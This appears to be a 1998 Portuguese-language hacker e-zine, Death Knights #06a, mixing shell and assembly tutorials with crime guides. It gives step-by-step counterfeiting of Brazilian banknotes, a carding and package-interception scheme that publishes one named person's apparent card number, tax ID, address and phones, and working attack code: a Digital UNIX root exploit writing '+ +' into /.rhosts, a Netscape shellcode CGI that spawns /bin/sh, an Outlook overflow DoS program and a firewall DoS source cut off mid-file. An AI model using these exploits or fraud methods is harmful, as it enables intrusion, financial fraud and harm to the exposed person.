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            $   $  $   $  $  `d$$b'  $  $    $        $$
            $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P'

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

                        Data estelar:  1.0874941883
                        Data terrestre:  02/11/1998


DeathKnights #06a

e-mail: death@DeathKnights.com

page: http://www.DeathKnights.com


     melhor visualizado com joe -asis e terminal com setfont alt-8x16. (linux)
                           melhor visualizado com edit.                (dos)


 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------



.-----------.
|   SECOES   \_______________________________________________________________
`----------------------------------------------------------------------------'

1  * ESCLARECIMENTOS                        Cacaio
2  * Sobrevivendo nos dias atuais           sm0g (colaborador)
3  * Programacao avancada de shell script   Cacaio
4  * Digital UNIX 5.x exploit               Cacaio
5  * Bugs novos do netscape                 Cacaio
6  * Microsoft Outlook DoS                  Cacaio
7  * Tutorial de asm!                       Hunter^Heads
8  * ConSeal PC Firewall DoS                Cacaio
9  * Perl 5.004 exploit                     Cacaio
10 * EWorm Project                          sm0g (colaborador)
11 * Exploits to get root                   ReNeGaDe
--
12 * Leiam...                               Cacaio
13 * Few Words                              Cacaio

-=[  1  ]=-
.----------------.
| ESCLARECiMENTOS \__________________________________________________________
`----------------------------------------------------------------------------'


        Nao nos responsabilizamos pela informacao contida neste zine. Se voce
usar indevidamente qualquer informacao contida aqui, a responsabilidade e' to-
da sua. Se for pego, preso ou sei la o que, nao nos perturbe.

      Neste zine contamos com duas materias do nosso amigo sm0g, que nao
e' um Death Knight, mas como nos mandou a materia e achamos interessante, a
publicaremos.        Continuem mandando materias BOAS que serao publicadas!

        Nos utlimos tempos, nao temos mais muito material nova para passar,
isto significa que os desenvolvedores de programas/sistemas estao ficando mais
espertos, e isto e' uma coisa boa. Talvez seja possivel chegar ao nivel de
"bugs 0", mas enquanto isto, os que forem encontrados aparecerao na zine.
Outro possivel motivo da falta de material talvez seja que nao tem muita coisa
nova saindo. Mas, creio eu, que enquanto programas e sistemas novos forem
desenvolvidos, bugs nao percebidos ate a divulgacao dos mesmos serao
descobertos por usuarios comuns, como voce, como eu. Mas o nivel "bugs 0" pode
ser alcancado quanto a bugs que possam causar danos ou dar acesso indevido. 

        Este grupo nao visa nenhum fim lucrativo. Nos fazemos isto por diver-
sao e nada mais. Se voce ainda assim achar que temos algum fin lucrativo,
diga aonde voce viu isso, e lhe provarei o contrario.

        Se voce nao gostou da informacao contida aqui, nao nos perturbe. O
problema e' todo seu.





-=[  2  ]=-
.-----------------------------.
| Sobrevivendo nos dias atuais \__________________________________________________________
`----------------------------------------------------------------------------'
                               by sm0g

        Isso talvez possa ser considerado uma incitacao a falsificacao. Pelos
 meus calculos, o numero de famintos eh inversamente proporcional ao patrimo-
 nido dos administradores da Visa, Mastercard (quartel), e similares. Essa eh
 a minha revolta pessoal a esses merdas. Ja diziam que os amadores imitam, os
 profissionais copiam.. bem, os techno punks falsificam  =)

      .--------------------------.  
      | 1.1  Nos e o plano real   `------------------------------------.
      `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -


	Vou procurar nao estender as minhas criticas pois isso decerto nao eh
 um texto politico. Com a aprovacao do Plano Real, a unica realidade que tenho
 visto eh o desemprego... A voces que alem de trabalho, nao tem grana, eh que
 eu dedico essa parte.
 Vamos evitar entrar nos complexos detalhes da fabricacao do papel moeda, pois
 eu odeio quimica:

	Antigamente, alem da estampa, os falsificadores tentavam tambem copiar
 o papel moeda, sob o qual eh estampada a nota. Alem de aumentar o custo desse
 dinheiro falso, havia o problema da quimica, pois o papel moeda eh complexo e
 dificil de ser reproduzido (as notas falsas podiam ser reconhecidas pela mah
 coloracao, ou mesmo pelo tato). Percebeu-se entao que as notas de baixo valor
 apresentavam uma otima opcao a fabricacao do papel. A ideia eh simplesmete
 remover as estampas de uma nota de baixo valor (R$1), e aplicar a esse papel
 uma nova estampa, de alto valor (R$100, por exemplo).
	Aqui no  TAff Labs, nos bolamos uma mistura formada por  diversos sol-
 ventes, que apresentou um resultado satisfatorio. Essa mistura ainda nao esta
 publicamente disponivel.. em breve, quem sabe... O seu unico trabalho portan-
 to, sera criar a sua propria "mistura magica".
	Apos criar sua mistura, coloque-a num recipiente de vidro (dependendo
 do que voce fez, o composto pode atacar o plastico), e adicione uma nota de 1
 real. Apos algumas horas, voce devera obter uma nota branquinha.. Geralmente,
 eh necessario se esfregar a nota para a tinta sair.
	Vou supor nesse texto que voce possui um scanner e uma impressora boa.
 Ao contrario do que muitos pensam, nao eh imprescindivel o uso de impressora
 laser, que muitas vezes chegam a dar um aspecto artificial a nota.
 Uma resolucao de 800 pixels  eh suficiente, embora 1200 nao seja mah. Scanei
 os 2 lados de uma nota de R$50, por  exemplo. Note que muitos editores grafi-
 cos alteram o tamanho da figura apos ela ser scaneada! Configure corretamente
 sua impressora, para que ela possa imprimir exatamente no papel moeda (aprox.
 14 x 6,3). Essa setagem talvez seja a parte mais dificil, pois eh comum nao
 se achar a posicao certa, e estragar um trabalho de algumas horas. Deixa a
 nota descansando por alguns minutos, para que a tinta possa ser melhor absor-
 vida e fixada no papel.
        Nas notas mais antigas, a tarja de identificacao (aquela fitinha escu-
 ra,  que todo mundo confere na nota) era simplesmente colada na nota. Hoje em
 dia, essas fitinhas sao transsadas no tecido, o que dificulta a sua remocao.
 No entanto, o  uso de um bom scaner torna essa fita desnecessaria, pois como
 ela eh agregada a nota, nao fara (ao menos numa breve olhada) diferenca algu-
 ma se ela estiver colada, ou simplesmente imprimida..



      .-----------------------.
      |   1.2 Usos e cuidado   `---------------------------------------.
      `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -


	Recomendo que a imagem das notas scaneadas sejam salvas apenas em um
 disquete criptografado, e muito bem guardado. A policia tem o direito de ar-
 rombar sua casa, caso aja suspeita de falsificacao. Cuide tambem de esconder
 os produtos usados para fazer o seu solvente, e principalmente as notas pro-
 duzidas.
	O melhor metodo que tenho utilizado notas falsas, eh simplesmente ir a
 um McDonald's lotado, e comprar por exemplo uma batata frita.. A nota vai em-
 bora, e em troca temos um troco limpinho (mac-lavagem duh). Quando for fazer
 compras, procure usar as falsas "no bolo", ou seja, nunca compre algo com
 somente 1 nota falsa... Evite tambem fabricar notas de valor muito alto, como
 R$100, pois elas chamam mais atencao na hora de serem aceitas.

                                     . . .


      .--------------------------.  
      |  2.1 Carding para todos   `------------------------------------.
      `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

 .Introducao.

        Carding como se sabe, sao as  tecnicas utilizadas para se comprar mer-
 cadorias, atraves de numeros de cartoes de credito falso. Pode-se dizer que a
 grande parte maioria da literatura sobre o assunto eh incompleta. Alem de an-
 tigos, tais textos usam situacoes irreais como exemplo.. Sem mencionar o fato
 de que a grande maioria desses documentos provem dos EUA, cujo burocracia eh
 bem diferente da nossa.
	Existem diversos programas (e algoritmos) utilizados para se criar mi-
 lhares de numeros de cartoes em segundos. Esse tipo de programa, serve quase
 que unicamente para sites de sexo, ou download pago, onde a verificacao do cc
 eh apenas superficial. Por superficial, entenda que o sistema apenas verifica
 se o numero que voce entrou tem a mascara do fabricante associado, e nao eh
 apenas um lixo como 1234.11.1111. Nesse tipo de fraude (estritamente on-line)
 tudo o que voce tem a fazer eh gerar um numero de cc falso, acessar algo como
 por  exemplo o Anonymiser (que impede que o  seu IP seja rastreado), e de lah
 saltar para o site alvo. Voce simplesmente fornece um nome, uma data de expi-
 racao, e o numero cc gerado. Isso eh simples e nao requer QI nenhum.. O obje-
 tivo desse texto no entanto, eh tratar de compras reais, e nao simplesmente
 material on-line... vamos comecar:

	A teoria eh simples, qualquer cc possui, alem do numero, 2 informacoes
 vitais para nossa operacao: a data de expiracacao, ou seja, o dia a partir do
 qual o cartao deixa de "valer"; e o dia da fatura, ou "dia bom". O dia da fa-
 tura eh o  dia no qual a Administradora do cartao ira enviar-lhe uma cobranca
 correspondente as compras do  mes anterior. Suponhamos que o dia da fatura de
 seu cartao seja o dia 29. Para que a cobranca chegue ao dono do cartao exata-
 mente nesse dia, eh obvio que o cartao precisa "fechar a conta" do mes alguns
 dias antes, para que tenha dela chegar (via correio, geralmente) ao cliente.
 Esse fechamento de conta, ocorre normalmente de 2 a 3 dias antes do dia de
 fatura do cliente. Logo, se voce fizer uma compra no dia 28 e possivelmente
 27, a cobranca soh ira chegar no proximo mes, pois a fatura do mes atual jah
 foi espedida, isso nos da quase 33 dias! Sim, voce sabe disso... Mas eh exa-
 tamente aqui que esta o  pulo do gato. Se voce usar um cartao de alguem para
 uma compra, isso significa que voce tera aprox. 33 dias de vantagem para pe-
 gar a mercadoria e sumir. Considerando que programas como por exemplo o Shop
 Time demoram de 7 a 10 dias para entregar algo, o dono do cartao soh ira no-
 tar a facada 20 dias depois de voce ja ter pego a encomenda  =)
        Qualquer compra via cartao de credito envolve antes de mais nada, um
 numero de cartao, e geralmente informacoes adicionais, tais como nome do do-
 no do cartao, CIC, RG, CPF, telefone, endereco, data  de nascimento, data de
 espiracao do cartao, etc. Nesse texto eu irei supor que alem de inteligencia
 o leitor tambem tem a capacidade de conseguir alem de um numero de cc, tais
 informacoes (seja invadindo um isp, eng. social, etc). Como detonar a Mandic
 esta na moda, eu ajudo voce...

 Gustavo Henrique Palhares de Miranda
 Nascimento: 17/08/58  CPF: 60749105704
 Rua Senador Salgado Filho n 208, Petropolis - RJ  CEP: 25655350
 Pais: Brasil
 CC: 376441125801003  Validade: 1098
 Fone comercial:   (011)886-2562
 Fone residencial: (024)242-9261
 FAX:              (011)885-8479

 Sim, a validade ja passou. Voce nao tera problemas de conseguir o proximo
 numero, tera?! :)

	Tudo otimo. Mas como e onde entregar o pacote?! A empresa pode ligar
 para o dono do cartao para ter certeza da compra!! He he... o TAff Labs foi
 ainda mais longe.. as empresas de venda verificam basicamente o nome do do-
 no do cartao, RG, CIC, CPF, endereco, e se o cara tera condicoes bancarias
 de pagar. Eles rarissimamente iram ligar na sua casa para confirmar algo...
 Mas somos profissionais, e queremos fornecer um numero de telefone que ao
 menos nos de alguma seguranca. Eh ai que entram os "numeros mortos". Os nu-
 meros mortos sao linhas telefonicas desativadas (nao confunda com cortadas)
 pela Telesp. Quando voce liga pra um  desses numeros, ele ira tocar, tocar,
 e ninguem nunca ira atender. Tudo o que voce tem a fazer, eh arrumar um nu-
 mero desses, e usa-lo.
	A entrega do pacote eh um pouco mais complexa. Um metodo que eu uso
 com sucesso, eh forjar  um cartao de apresentacao  falso, com o nome de uma
 empresa / igreja, um nome falso, e um numero morto. Eu visto uma roupa boa,
 e vou ate alguma casa fora da minha cidade (essa casa jah foi previamente
 selecionada, pois  foi esse endereco que eu forneci a loja), e me apresento
 ao morador, dizendo que sou da Empresa X tal, e que por um erro do correio,
 uma certa mercadoria chegara em sua  casa dele. Dai peco a ele que me ligue
 quando o pacote chegar. Como recompensa por sua colaboracao , o nobre cida-
 dao ira ganhar algo como R$30. O numero dado ao morador eh morto, e nunca
 vai atender, assim, eu pego o numero dele, e lhe ligo a cada 3 dias, pra
 confirmar a entrega do pacote.


     sm0g                  sm0g@psynet.net
     `'`'                  `'`'`'`'`'`'`'`


-=[  2  ]=-
.-------------------------------------.
| Programacao avancada de shell script \_____________________________________
`----------------------------------------------------------------------------'
                                by Cacaio

        Bem... no zine deathknights05 eu mostrei o basico de shell  scripts,
agora irei aprofundar um pouco mais, nao por que alguem pediu, mas por que
eu simplesmente  amo  shell scripts e creio que algum leitor por ai' possa
tirar bom proveito.

       No ultimo numero, eu editei os arquivos com o cat mesmo (cat >arquivo),
mas para voce trabalhar melhor, recomendo um editor de texto. Alguns bons?
Pico, para iniciantes, joe e emacs, para usuarios intermediarios, e o vi para
usuarios avancados.


        Vamos comecar criando o basico do basico do basico. Voce depois junta
as funcoes e ve em que bixo que da, voce vai gostar! :)

arquivo eg1.sh
---
### #  #      #
#Basico do basico do basico do basico.
### #  #      #
# Os sinais '#', servem para comentar as linhas. Voce pode colocar o texto que
# quiser que nao fara diferenca para o script. 
### #  #      #
# Vamos ver o comando 'echo'. E' como o echo da shell. Apenas aparece a
# mensagem.
### #  #      #

echo "Farwell and goodnight"            # Vai aparecer a mensagem
                                        # 'Farwell and goodnight' na tela.

### #  #      #
# Como o echo usado e' o echo binario, voce pode usar todas as funcoes dele,
# como echo "blehg" >arquivo.
---

Legal... voce entendeu por que todos conseguem entender, e e' muito bobo. Mas
e se voce quiser perguntar, por exemplo, Qual o e-mail e quer que o e-mail
apareca dentro de um arquivo de texto? Simples, observe:

arquivo eg2.sh
---
echo "Qual o seu e-mail fiote?"
read emaildocara
echo "O e-mail do usuario" `whoami` "e':" $emaildocara >>arquivito
---

Entendeu? emaildocara e' o nome da variavel em que vai ficar guardada a
informacao do read. Se voce nao entendeu o `whoami`, leia a zine numero 05.
Depois de executar, edite o arquivo arquivito. Ele devera estar mais ou menos assim:

--
O e-mail do usuario cacaio e': cacaio@deathknights.com
--

Sacou? 

E se voce quiser fazer alguma coisa com varias escolhas, como:
(A)bort, (R)etry or (F)ail?
Simples... de uma ohladinha neste exemplo:

eg3.sh
---
echo "Faca sua escolha:"
echo ""
echo "(L)istar Diretorio, (D)iretorio Atual, ou (W)hoami?"
read escolha
case $escolha in

L) echo "Voce escolheu Listar Diretorio";
   ls ;;

D) echo "Voce escolheu Diretorio Atual";
   pwd ;;

W) echo "Voce escolheu Whoami"
   whoami ;;

*) echo "Erro." $escolha "nao e um comando valido para este programa.";;

esac
---

Moleza, ne'?

Agora vamos fazer outra coisa... usar o comando if. De uma olhada detalhada
neste exemplo:
eg4.sh
---
function mensagem {
	clear
	echo "Erro: Voce digitou apenas $0 sem mais nenhum parametro."
}

function uso {
	echo "O uso correto e':"
	echo "[1;37m$0 -mensagem texto"
}

if [ $1x = x ]; then
        mensagem
        uso
        exit 1
fi

if [ "$1" = '-mensagem' ]; then
	echo "Mensagem: $2 $3 $4"
        exit 0
fi
---
Entendeu o que ele faz? O if e' a traducao mesmo. Se "$1" for igual a
"talcoisa", entao fazseilaoque, e finaliza o if com o "fi". O function e'
apenas uma funcao que voce cria. Voce pode criar shell scripts para o que
quiser. Tambem pode ser usado ANSI, como mostrado no ultimo exemplo.

Eh isso ae... agora, use a imaginacao e se divirta.


	[]'z


     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  4  ]=-
.-------------------------.
| Digital UNIX 5.x exploit \_________________________________________________
`----------------------------------------------------------------------------'
                                by Cacaio

        Opa! Eu tava um dia eu estava com conta em uma maquina na Coreia que
rodava Digital UNIX 5.60, e eu tentava rootear usando a conta, procurei
exploits, nao consegui, tudo envao. Entao, eu mesmo resolvi estudar alguns
programas desta versao e encontrei algo interessante. Entao, creio eu, que
este seja o primeiro exploit para Digital UNIX 5.x. Como eu cheguei ate' ele?
Ja falei, estudando os programas e vendo o que eles faziam quando eram
executados. E em um deles, que eu pensava que nao teria utilidade, eu nao dava
nada por ele, enfim, encontrei algo bom. Este programa e' o fstab. Ele nao faz
nada demais... so mostra informacao sobre o sistema de arquivos e as particoes
swap, mas quando o root executa, ele cria um arquivo no /tmp com umas
permissoes, digamos, bem generosas.

  /tmp>ls -la

  ( Vai mostrar alguns arquivos do /tmp, e entao: )

  -rw-rw-rw-   1 root     system    0 Oct 25 17:52 fstab.advfsd.lockfile

Mas, como sempre tem alguem que nao tem ideia do que fazer com ele, eu direi
exatamente o que fazer e como acessar a maquina como root. Para acessar, voce
necessitara apenas de um link estatico do /tmp/fstab.advfsd.lockfile para o
/.rhosts. Nao sabe fazer isto? Entao digite:

  ln -s /.rhosts /tmp/fstab.advfsd.lockfile

E aqui o passo magico... digite:

  cat "+ +" > /tmp/fstab.advfsd.lockfile

E assim, automaticamente a linha + + estara no /.rhosts possibilitando o
acesso sem senha via rlogin. Simples, mas demorei um pouquinho ate descobrir
isso. Espero que seja util para alguem.


     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`


-=[  5  ]=-
.-----------------------.
| Bugs novos do netscape \___________________________________________________
`----------------------------------------------------------------------------'
                                by Cacaio

       Bugs e mais bugs... o primeiro funciona perfeitamente com as versoes do
4.05 e 4.5b1 do netscape.

O que acontece? Nada demais... ele somente trava quando recebe um
content-type contendo "internal/parser" (Analisador Interno).

Isto pode ser feito em uma pagina qualquer ou com um script cgi que contenha
as seguintes linhas:

---
#!/bin/sh
echo Content-type: internal/parser
echo
echo Se voce pode ler isto seu browser nao e' vulneravel!
---

Talvez seja possivel fazer algo pior do que travar o browser. Se os dados
vao para o mesmo lugar que as analises das paginas vao, eu imagino que seja
possivel fazer um belo buffer overflow, mas isto nao foi testado ainda.


Agora falarei de um outro bug que somente afeta netscapes em linux em
computadores x86. Basta acessar algum script cgi que contenha o seguinte:

---
#!/usr/bin/perl
#
# Script escrito por Dan Brumleve e modificado por Cacaio.

sub parse {
  join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
}

my $pre = parse qw{
  31 c0 		# xorl %eax,%eax
  66 b8 ff 0f		# movw $0x1056,%ax
  01 c4			# addl %eax,%esp 
  c0 24 24 01		# shlb $1,(%esp)
  29 c4			# subl %eax,%esp

  31 c0 b0 30
  31 db b3 0e
  31 c9 b1 01
  cd 40
};

my $code = $pre . parse qw{
  b0 55			# movb $0x55,%al (marker)
  eb 58                 

  5e			# popl %esi

  56			# pushl %esi
  5b			# popl %ebx
  43 43 43 43 43 43
  43 43 43 43 43	# addl $0xb,%ebx

  21 33			# andl %esi,(%ebx)
  09 33			# orl %esi,(%ebx)

  31 c0 		# xorl %eax,%eax
  66 b8 56 10		# movw $0x1056,%ax
  01 c4			# addl %eax,%esp 
  c0 24 24 01		# shlb $1,(%esp)
  33 c0			# xorl %eax,%eax
  b0 05 		# movb $5,%al
  01 c4			# addl %eax,%esp 
  c0 24 24 01		# shlb $1,(%esp)
  29 c4			# subl %eax,%esp
  66 b8 56 10		# movw $0x1056,%ax
  29 c4			# subl %eax,%esp


  31 d2			# xorl %edx,%edx
  21 56 07		# andl %edx,0x7(%esi)
  21 56 0f		# andl %edx,0xf(%esi)
  b8 1b 56 34 12	# movl $0x1234561b,%eax
  35 10 56 34 12	# xorl $0x12345610,%eax 

  21 d9			# andl %ebx,%ecx
  09 d9			# orl %ebx,%ecx

  4b 4b 4b 4b 4b 4b
  4b 4b 4b 4b 4b	# subl $0xb,%ebx

  cd 40			# int $0x80
  31 c0			# xorl %eax,%eax
  40			# incl %eax
  cd 40			# int $0x80


  e8 a3 ff ff ff        
};

$code .= "/bin/sh";

my $transmission = parse qw{
  74 68 65 20 64 65 61 74 68 20 6b 6e 69 67 68 74 73 # inguz
  20 72 6f 78 20 73 75 70 72 65 6d 65 20 20 20 63 61 # inguz
  63 61 69 6f 20 74 6f 6f 20 20 67 6f 74 20 69 74 de # inguz
};

my $nop = "\x90"; 

my $address = "\x10\xdb\xff\xbf"; 
             

my $len = 0x1000 - length($pre);
my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;

print <<EOF;
Content-type: text/html

<!-- $transmission -->
<embed type="$exploit" src="data:x">
EOF
---

Coloque como um script cgi e acesse para ver. Bom, nao e'? Imagina se alguem
altera uma pagina de uma grande compania e coloca um refresh 0 na pagina
principal apontando para este cgi. Legal a ideia, nao? :)


     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`


-=[  6  ]=-
.------------------------------------.
| Microsoft Outlook Denial Of Service \______________________________________
`----------------------------------------------------------------------------'
                                by Cacaio

Bom, para quem nao sabe, o Microsoft Outlook e' um leitor de mail para Windows
95/98/NT. Eu gostaria muito de saber onde a empresa que tem mais dinheiro no
mundo contrata seus programadores. E eu tambem gostaria de saber por que a
grande maioria dos usuarios da seu dinheiro para eles. Sao perguntas que nao
tem como serem respondidas... vamos seguir adiante...

Como eh o bug? Quando o Microsoft Outlook le o subject de um email ele coloca
o subject em uma area da memoria, mas so com 5000 caracteres para ela, e nao
checa o tamanho do subject.

O programinha a seguir trava o windows da pessoa. Tambem e' possivel executar
comandos remotos, mas particularmente nao sei como, mas que e' possivel e'.

Ta ai o arquivo pro uso do pessoal...

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/*
   Programa feito por rockme@altern.org
   e modificado por cacaio@deathknights.com
*/


#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

struct in_addr
resolv(char *name)
{
  static struct in_addr in;
  unsigned long l;
  struct hostent *ent;

  if((l = inet_addr (name)) != INADDR_NONE)
    {
      in.s_addr = l;
      return in;
    }
  if(!(ent = gethostbyname (name)))
    {
      in.s_addr = INADDR_NONE;
      return in;
    }
  return *(struct in_addr *) ent->h_addr;
}


   char buf[70000];
   char server[5000];
   char mailfrom[5000];
   char rcptto[5000];


main (int argc, char *argv[])
{
  struct sockaddr_in addr;
  int i, s;
  char c;
  int port=25;
  
 
 if(argc < 3){
 printf("\n Uso : %s servidor_de_mail remetente destinatario \n\n", argv[0]);
 printf(" ATENCAO: Este programa nao spoofa seu IP!\n\n");
 exit(0);
 } 

 if(strlen(argv[1]) > 4990){
 printf("O servidor de email e' muito grande.\n");
 exit(0);
 }

 if(strlen(argv[2]) > 4990){
 printf("O endereco do repetente e' muito grande.\n");
 exit(0);
 }

 if(strlen(argv[3]) > 4990){
 printf("O endereco do destinatario e' muito grande.\n");
 exit(0);
 }
 
 /*  Viram soh? Este programa e' protegido de buffer overflows! :P */
 
 printf("\nThe Death Knights - www.deathknights.com\n\n\n");
 printf("Microsoft Outlook Denial of Service !\n");
 printf("Veuillez patienter environ 20 secondes suivant la vitesse du serveur ...\n");

 sprintf(server, "HELO %s\n", argv[1]); 
 sprintf(mailfrom, "MAIL FROM: %s\n", argv[2]);
 sprintf(rcptto, "RCPT TO: %s\n", argv[3]);

  s = socket(AF_INET, SOCK_STREAM, 0);
  addr.sin_family = AF_INET;
  addr.sin_addr = resolv(argv[1]);
  addr.sin_port = htons(port);
  connect(s, (struct sockaddr *) &addr, sizeof (addr)); 

write(s, server, strlen(server));
sleep(1);

write(s, mailfrom, strlen(mailfrom));
sleep(1);

write(s, rcptto, strlen(rcptto)); 
sleep(1);

write(s, "data\n", 5);
sleep(1);

write(s, "Subject : ", 10);
sleep(1);

for(i = 1; i < 7000; i++){
write(s, "X", 1);
}
sleep(3);

write(s, "\n", 1);
sleep(1);

write(s, "gift of a death knight\n", 8); 
sleep(1);

write(s, ".\n", 2);
sleep(1);

write(s, "quit\n", 5);
sleep(1);

read(s, buf, 69000); /* read (s, &c, 1); */
printf("%s", buf);  

printf("\n");

}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  7  ]=-
.-----------------.
| Tutorial de asm! \_________________________________________________________
`----------------------------------------------------------------------------'
                             by Hunter^Heads

bom vamos realmente ao o que interessa agora a programacao propriamente dita


- requerimentos minimos ..
Para que possamos criar um programa, precisamos de algumas ferramentas:
Primeiro de um editor para criar o programa fonte. Segundo de um montador,
um programa que ir  transformar nosso fonte num programa objeto. E,
terceiro, de um linker (ligador) que ir  gerar o programa executavel a
partir do programa objeto.
O editor pode ser qualquer um que dispusermos. O montador ser  o TASM macro
assembler da Borland, e o linker ser  o TLINK, tambBm da Borland.
Nos devemos criar os programas fonte com a extensao .ASM para que o TASM
reconheca e o transforme no programa objeto, um "formato intermedi rio" do
programa, assim chamado porque ainda nao e um programa executavel e tao
pouco um programa fonte. O linker gera a partir de um programa .OBJ, ou da
combinacao de varios deles, um programa executavel, cuja extensao 
normalmente .EXE, embora possa ser .COM dependendo da forma como for
montado e ligado.
Para construirmos os programas com o TASM, devemos estruturar o fonte de
forma diferenciada ao que fazcamos com o programa debug.

E importante incluir as seguintes diretivas assembly:
.MODEL SMALL -> Define o melo de memoria a usar em nosso programa
.CODE -> Define as instrucoes do programa, relacionado ao segmento de codigo
.STACK -> Reserva espaco de memoria para as instrucoes de programa na pilha
END -> Finaliza o prg
.x.x.x.x.x.
primeiro .. vamos fazer um code base soh pra instruir melhor
.MODEL SMALL -> modelo de memoria
.CODE -> espaco de memoria para instrucoes do programa na pilha
.STACK -> as linhas seguintes sao instrucoes do programa
mov ah,2h -> move o valor 2h para o registrador ah
mov dl,2ah -> move o valor 2ah para o registrador dl
int 21h -> interrupcao 21h
mov ah,4ch -> imprime na tela 
int 21h -> interrupcao 21h
end -> final do programa

x-x-x-x-x-

agora soh compilar com tasm / tlink ..
se nao souber fazer isto tbem neh sai de perto..
..
bom vamos para segmentos ..
..
A arquitetura dos processadores x86 forca-nos a usar segmentos de memoria
para gerenciar a informacao, o tamanho destes segmentos B de 64Kb.

A razao de ser destes segmentos e que, considerando que o tamanho maximo de
um numero que o processador pode gerenciar e dado por uma palavra de 16
bits ou registrador, assim nao seria possivel acessar mais do que 65536 locais
da memoria usando apenas um destes registradores. Mas agora, se a memoria do
PC e dividida em grupos de segmentos, cada um com 65536 locais, e podemos usar
um endereco ou registrador exclusivo para encontrar cada segmento, e ainda
fazemos cada endereco de um especifico slot com dois registradores
possivel acessar a quantidade de 4294967296 bytes de memoria,
atualmente, a maior memoria que podemos instalar num PC.

Desta forma, para que o montador seja capaz de gerenciar os dados, se faz
necessario que cada informacao ou instrucao se encontre na  real
correspondente ao seu segmento. O endereco do segmento e fornecido ao
montador pelos registradores DS, ES, SS e CS. Lembrando um programa no
Debug, observe:

1CB0:0102 MOV AX,BX

O primeiro numero 1CB0, corresponde ao segmento de memoria que esta  sendo
usado, o segundo e uma referencia ao endereco dentro do segmento, e um
deslocamento dentro do segmento offset.

O modo usado para indicar ao montador com quais segmentos vamos trabalhar e
fazendo uso das diretivas .CODE, .DATA e .STACK.

O montador ajusta o tamanho dos segmentos tomando como base o numero de
bytes que cada instrucao assembly precisa, ja  que seria um desperdicio de
memoria usar segmentos inteiros. Por exemplo, se um programa precisa de
apenas 10Kb para armazenar dados, o segmento de dados seria apenas de 10Kb
e nao de 64Kb, como poderia acontecer se feito manualmente.

.... tabelas de equivalencia
..
Cada uma das partes numa linha de codigo assembly e conhecida como token,
por exemplo:

MOV AX,Var

Aqui temos tres tokens, a instrucao MOV, o operador AX e o operador VAR. O
que o montador faz para gerar o codigo OBJ e ler cada um dos tokens e
procurar a equivalencia em codigo de maquina em tabelas correspondentes,
seja de palavras reservadas, tabela de codigos de operacao, tabela de
simbolos, tabela de literais, onde o significado dos enderecos dos simbolos
que usamos serao encontrados.
A maioria dos montadores sao de duas passagens. Em sintese na primeira
passagem temos a definicao dos simbolos, ou seja, sao associados enderecos
a todas as instrucoes do programa. Seguindo este processo, o assembler lH MOV
e procura-o na tabela de codigos de operacao para encontrar seu equivalente
na linguagem de maquina. Da mesma forma ele lH AX e encontra-o na tabela
correspondente como sendo um registrador. O processo para Var e um pouco
diferenciado, o montador verifica que ela nao e uma palavra reservada,
entao procura na tabela de simbolos, la  encontrando-a ele designa o
endereco correspondente, mas se nao encontrou ele a insere na tabela para
que ela possa receber um endereco na segunda passagem. Ainda na primeira
passagem e executado parte do processamento das diretivas, e importante 
notar que as diretivas nao criam codigo objeto. Na passagem dois sao
montadas as instrucoes, traduzindo os codigos de operacao e procurando
os enderecos, e e gerado o codigo objeto.

os simbolos que o montador nao consegue encontrar, uma vez que podem ser
declaracoes externas. Neste caso o linker entra em acao para criar a
estrutura necessaria a fim de ligar as diversas possiveis partes de codigo,
dizendo ao loader que o segmento e o token em questao sao definidos quando
o programa e carregado e antes de ser executado.


      Hunter^Heads               HunterH@deathknights.com
      `'`'`'`'`'`'               `'`'`'`'`'`'`'`'`'`'`'`'

-=[  8  ]=-
.------------------------.
| ConSeal PC Firewall DoS \__________________________________________________
`----------------------------------------------------------------------------'
                                by Cacaio

Muita gente diz que este firewall e' o mais seguro... sera'? Pode ser, sei la,
nunca usei... mas que as versoes dele ate a 1.2 sao vulneraveis a um Denial Of
Service. Voce pode prestar atencao, para se divertir, que quase todos os
lugares que usam este firewall nos dias de hoje sao vulneraveis. 

O dos e' simples... o firewall somente nao tem mais onde alocar os dados que
chegam muito rapidamente, usando todos os recursos disponiveis. Entao, a
maquina trava. Mais ou menos de 10 a 30 segundos depois da maquina ter
travado, se o ataque continuar ira resetar a maquina.

Como se proteger? E' tao simples como o dos... basta voce desabilitar os
modos 'Learning' e o 'Logging'. Ou pegue uma versao mais recente do que a
1.2.

Aih vai o sorce que causa o dos...

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/* Saihyousen Attack (*Japanese* Ice Breaker), By Noc-Wage (M.C.S.R)
 * Base code from arnudp.c but HEAVILY modified. Originally written
 * sometime early April 1998, I'm a little fuzzy as to the date.
 * Written by Max Schau <wage@idirect.ca.>
 *
 *                                 [ http://www.deathknights.com ]
 *
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<strings.h>
#include<netdb.h>
#include <stdlib.h>
#include<stdio.h>
#ifdef BROKEN_LIBC
#include <arpa/inet.h>
#else
#define u_char unsigned char
#define u_short unsigned short
#endif

struct sockaddr sa;

int main(int argc,char **argv)
{
int fd;
int x=1;
int hosti=192;
int hostii=168;
int hostiii=1;
int meep=0;
int fooport=1;
int numpack=0;
char funhost[15];
struct sockaddr_in *p;
struct hostent *he;
u_char gram[36]=
 {
